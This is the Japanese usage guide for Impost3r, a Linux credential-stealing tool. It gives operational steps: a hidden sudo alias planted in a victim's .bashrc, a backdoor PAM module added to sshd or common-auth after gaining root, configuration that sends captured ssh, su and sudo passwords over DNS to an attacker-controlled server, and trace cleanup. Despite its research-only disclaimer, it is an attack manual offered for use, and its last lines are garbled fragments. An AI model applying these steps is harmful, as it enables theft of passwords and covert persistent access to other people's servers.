

Impost3rはC言語で記述された、Linux上のさまざまなパスワード(ssh、su、sudo)を窃取するためのツールです。
ユーザーはこのプログラムを使用して水飲み場攻撃を仕掛け、正当なユーザーのパスワードを盗むことができます。
このツールはセキュリティ研究および教育目的に限定されています。ユーザーはこのツールを使用することによって生じるすべての法的および関連する責任を負うものとします。作者は一切の法的責任および関連する責任を負いません。
Impost3rはsudo、su、sshサービスのパスワードを窃取できます。これら3つのサービスは大まかに2つのカテゴリに分けられます:sudoとssh/suです。以下、2つのケースに分けて説明します。
通常のユーザー権限のみが必要で、rootである必要はありません。ただし、そのユーザーのパスワードのみを窃取でき、他のユーザーのパスワードは窃取できません。
まず、攻撃者がサーバーを制御しており、権限は通常ユーザー権限であると仮定します。
ユーザーのホームディレクトリに.bash_profileファイルが存在するか確認します。.bash_profileが存在する場合:そのファイル内で.bashrcが明示的にロードされているか確認します。ロードされていればこの手順と次の2つの手順をスキップし、以降の操作を続行します。ロードされていなければ、次の2つの手順をスキップし、以降の.bashrcに対する操作はすべて.bash_profileに対する操作に置き換えます!!! .bash_profileが存在しない場合:次の手順に進みます。
ユーザーのホームディレクトリに.bash_loginファイルが存在するか確認します。.bash_loginが存在する場合:そのファイル内で.bashrcが明示的にロードされているか確認します。ロードされていればこの手順と次の手順をスキップし、以降の操作を続行します。ロードされていなければ、次の手順をスキップし、以降の.bashrcに対する操作はすべて.bash_loginに対する操作に置き換えます!!! .bash_loginが存在しない場合:次の手順に進みます。
ユーザーのホームディレクトリに.profileファイルが存在するか確認します。.profileが存在する場合:そのファイル内で.bashrcが明示的にロードされているか確認します(デフォルトではロードされています)。ロードされていればこの手順をスキップし、以降の操作を続行します。ロードされていなければ、 も存在しない場合、原則としてImpost3rは使用できません。ただし、状況に応じてまたはファイルを自分で生成し、以下のようなロードコードを書き込んでをロードすることもできます。
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
ユーザーの.bashrcをコピーします:cp ~/.bashrc /tmp/。このコピーを攻撃者が指定したパスに配置します(この例では/tmp/ディレクトリに配置しています。攻撃者は変更可能です)。
ユーザーのホームディレクトリにある.bashrc(~/.bashrc)を編集し、最終行に次の文を追加します(/tmp/.impost3rは下記のFILENAMEと一致させる必要があります):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
追加が完了したら、ファイルを保存し、source ~/.bashrcを実行します。
次に、攻撃者はImpost3rのソースコード/sudo/main.hを修正する必要があります:
/*
Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Impost3rをターゲットサーバー上に配置する場所を設定
# define BACKUP_ORI_FILENAME ".bashrc" \\攻撃者がバックアップした元のユーザー設定ファイルが.bashrc、.bash_profile、.profile、.bash_loginのいずれかを指定
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\攻撃者がバックアップした元のユーザー設定ファイルのターゲットサーバー上のパスを指定
# define SAVE_OR_SEND 0 \\窃取成功後、結果をターゲットマシンに保存するか、攻撃者が管理するマシンに送信するかを設定(送信=0、保存=1、デフォルトは送信)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\注意:Impost3rからのメッセージを受信するためにドメインを購入したくない場合、かつ、ターゲットサーバーが制御するDNSサーバーの53番ポートへの直接UDP接続を禁止していない場合、ここではデフォルト値を使用してください。
\\ただし、ターゲットサーバーがDNS要求のアウトバウンドを厳しく制限している場合、YOUR_DOMAINの値を購入したドメイン(例:".example.com")に変更し、そのドメインのNSレコードを制御するDNSサーバーのアドレスに設定し、そのDNSサーバーでFdnsを実行し、さらにREMOTE_ADDRESSの値をターゲットサーバーのデフォルトDNSアドレスに、REMOTE_PORTをターゲットサーバーのデフォルトDNSアドレスがリッスンするDNSサービスポート(ほとんどの場合53番)に変更してください。
# define MAX_RESEND 30 \\パスワード窃取後、Impost3rが攻撃者サーバーにユーザーパスワードを送信する最大再試行回数を設定
# define RESEND_INTERVAL 5 \\送信間隔を設定(秒)
# define REMOTE_ADDRESS "192.168.0.12" \\パスワード送信先のリモートアドレスを設定
# define REMOTE_PORT 53 \\パスワード送信先のリモートポートを設定
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\結果ファイルの保存場所を設定(SAVE_OR_SENDが1の場合)
修正が完了したら、保存し、現在のディレクトリでmakeを実行します。
現在のディレクトリにコンパイルされた.impost3rファイルが生成されます。
.impost3rファイルをターゲットサーバーの/tmp/フォルダにアップロードします(これは例であり、ソースコードで定義した場所と一致すればどこでも構いません)。
攻撃者は自身のサーバーでDNSサーバープログラムを起動し、正当なユーザーがsudoを使用してパスワードを入力するのを待ちます。
sudoパスワードを窃取する場合、Impost3rは成功後に自動的に痕跡を消去するため、攻撃者が手動でクリーンアップする必要はありません。
Impost3rはユーザーが入力したパスワードが正しいかどうかを自動的に判定し、正しいパスワードが入力されるまで処理を続け、その後痕跡を消去します。
Impost3rを使用する前に、sudo -vで現在のユーザーがsudoerグループに属しているか確認してください。属していない場合はImpost3rを使用しないでください。
ssh/suパスワードの窃取は上記のsudoパスワード窃取とは方法が異なり、root権限が必要です。任意のユーザーのパスワードを窃取できます。
以下はUbuntuを例に説明します。CentOSも類似しており、使用するファイルや修正方法が異なる場合があります。
まず、攻撃者がサーバーを制御していると仮定します。
権限昇格を経てroot権限を取得します(あるいは、管理者がroot権限でサービスを起動している場合もあります)。
まずImpost3rの/ssh_su/main.hソースコードファイルを編集します。
/*
Custom setting
*/
# define SSH_OR_BOTH 0 \\窃取モードを設定。0はsshパスワードのみ窃取、1はsshとsu両方のパスワードを窃取。デフォルトは0(後述の違い参照)
# define SAVE_OR_SEND 0 \\窃取成功後、結果をターゲットマシンに保存するか、攻撃者が管理するマシンに送信するかを設定(送信=0、保存=1、デフォルトは送信)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\注意:Impost3rからのメッセージを受信するためにドメインを購入したくない場合、かつ、ターゲットサーバーが制御するDNSサーバーの53番ポートへの直接UDP接続を禁止していない場合、ここではデフォルト値を使用してください。
\\ただし、ターゲットサーバーがDNS要求のアウトバウンドを厳しく制限している場合、YOUR_DOMAINの値を購入したドメイン(例:".example.com")に変更し、そのドメインのNSレコードを制御するDNSサーバーのアドレスに設定し、そのDNSサーバーでFdnsを実行し、さらにREMOTE_ADDRESSの値をターゲットサーバーのデフォルトDNSアドレスに、REMOTE_PORTをターゲットサーバーのデフォルトDNSアドレスがリッスンするDNSサービスポート(ほとんどの場合53番)に変更してください。
# define MAX_RESEND 30 \\パスワード窃取後、Impost3rが攻撃者サーバーにユーザーパスワードを送信する最大再試行回数を設定(SSH_OR_BOTHが0の場合のみ有効)
# define RESEND_INTERVAL 5 \\送信間隔を設定(秒)(SSH_OR_BOTHが0の場合のみ有効)
# define REMOTE_ADDRESS "192.168.0.12" \\パスワード送信先のリモートアドレスを設定
# define REMOTE_PORT 53 \\パスワード送信先のリモートポートを設定
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\結果ファイルの保存場所を設定(SAVE_OR_SENDが1の場合)
修正が完了したら、保存し、現在のディレクトリでmakeを実行します。
コンパイルされたimpost3r.soファイルが生成されます。
コンパイルされたimpost3r.soをターゲットマシンの/lib/x86_64-linux-gnu/securityにアップロードします(マシンによってフォルダ名が異なる場合があるため、適宜配置してください)。
/etc/pam.dディレクトリに移動します。ここで2つのケースがあります。選択したモードがsshパスワードのみの窃取の場合、vi sshdを実行し、ファイルの最後に以下の文を追加します(注意:Ubuntu以外のLinuxベースのシステムではこのファイルが大きく異なる場合があるため、ルールを理解した上で適切な位置に追加してください)。
auth optional impost3r.so
account optional impost3r.so
保存して終了し、sshdサービスを再起動します:service sshd restart
一方、sshとsu両方のパスワードを窃取する場合、vi common-authを実行し、同じ文を追加します。保存して終了した後、同様にsshdサービスを再起動します。
攻撃者は自身のサーバーでDNSサーバープログラムを起動し、正当なユーザーがsshでターゲットマシンにログインするか、suでユーザーを切り替えてパスワードを入力するのを待ちます。
ssh/suパスワードを窃取する場合、権限の問題によりImpost3rは痕跡を消去できません。攻撃者自身でクリーンアップする必要があります。
sshパスワードのみを窃取する設定にした場合、攻撃者はほぼ確実に窃取結果を受信できます。両方同時に窃取する設定にした場合、確実に結果を受信できるとは限りません(DNS送信設定の場合。ローカル保存の場合は影響を受けません)。
suパスワードの窃取は推奨しません。また、ユーザーのsshパスワードとsuパスワードは同一であるため、可能であればsuパスワードは窃取せず、sshパスワードだけで十分です。
デフォルトでは空のパスワードは窃取しません。ユーザーに空のパスワードが存在するかどうか事前に確認してください(sshdの設定ファイルにPermitEmptyPasswords yesがあるかどうか確認してください。空であれば窃取する意味がありません)。
gcc -o dns main.c util.cでコンパイルしてください(事前にmain.c内のリッスンポートを修正してください)。util.h内のYOUR_DOMAINの値を確認し、ターゲットサーバー上でコンパイルされたImpost3rプログラムのYOUR_DOMAINの値と一致していることを確認してください。一致していないと窃取に失敗する可能性があります。.bashrcに対する操作はすべて.profileに対する操作に置き換えます!!!.profile.bash_profile.profile.bashrc